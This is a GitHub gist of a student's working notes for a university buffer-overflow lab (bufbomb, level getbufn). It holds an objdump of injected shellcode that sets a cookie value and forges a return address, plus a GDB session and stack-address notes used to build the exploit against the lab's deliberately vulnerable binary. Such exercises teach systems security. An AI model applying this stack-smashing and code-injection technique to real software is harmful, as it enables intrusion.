Last active
August 29, 2015 13:56
-
-
Save arn-e/9089077 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
---------------------------objdump--------------------------------------------- | |
00000000 <.text>: | |
0: b8 ec d2 79 3f mov $0x3f79d2ec,%eax | |
5: 8d ac 24 28 02 00 00 lea 0x228(%esp),%ebp | |
c: 68 4e 8c 04 08 push $0x8048c4e | |
11: c3 ret | |
-----------------------------GDB----------------------------------------------- | |
(gdb) break *testn+20 | |
Breakpoint 1 at 0x8048c4e | |
(gdb) break *getbufn + 23 | |
Breakpoint 2 at 0x8049197 | |
(gdb) r -t arnef -n < raw | |
Starting program: /afs/andrew.cmu.edu/usr14/arnef/private/buflab-handout/bufbomb -t arnef -n < raw | |
Userid: arnef | |
Cookie: 0x3f79d2ec | |
Breakpoint 2, 0x08049197 in getbufn () | |
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6.i686 | |
(gdb) disas | |
Dump of assembler code for function getbufn: | |
0x08049180 <+0>: push %ebp | |
0x08049181 <+1>: mov %esp,%ebp | |
0x08049183 <+3>: sub $0x218,%esp | |
0x08049189 <+9>: lea -0x208(%ebp),%eax | |
0x0804918f <+15>: mov %eax,(%esp) | |
0x08049192 <+18>: call 0x8048b9e <Gets> | |
=> 0x08049197 <+23>: mov $0x1,%eax | |
0x0804919c <+28>: leave | |
0x0804919d <+29>: ret | |
End of assembler dump. | |
(gdb) c | |
Continuing. | |
Breakpoint 1, 0x08048c4e in testn () | |
(gdb) x $ebp | |
0x55683e90: 0xf4f4f4f4 | |
------------------------------Notes---------------------------------------------- | |
pass 1 : | |
ebp (getbufn + 0) : 0x55683c90 : 0x55685ff0 | |
esp (getbufn + 0) : 0x55683c64 : 0x08048c4e | |
esp (getbufn + 23) : 0x55683a48 : 0x55683a58 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment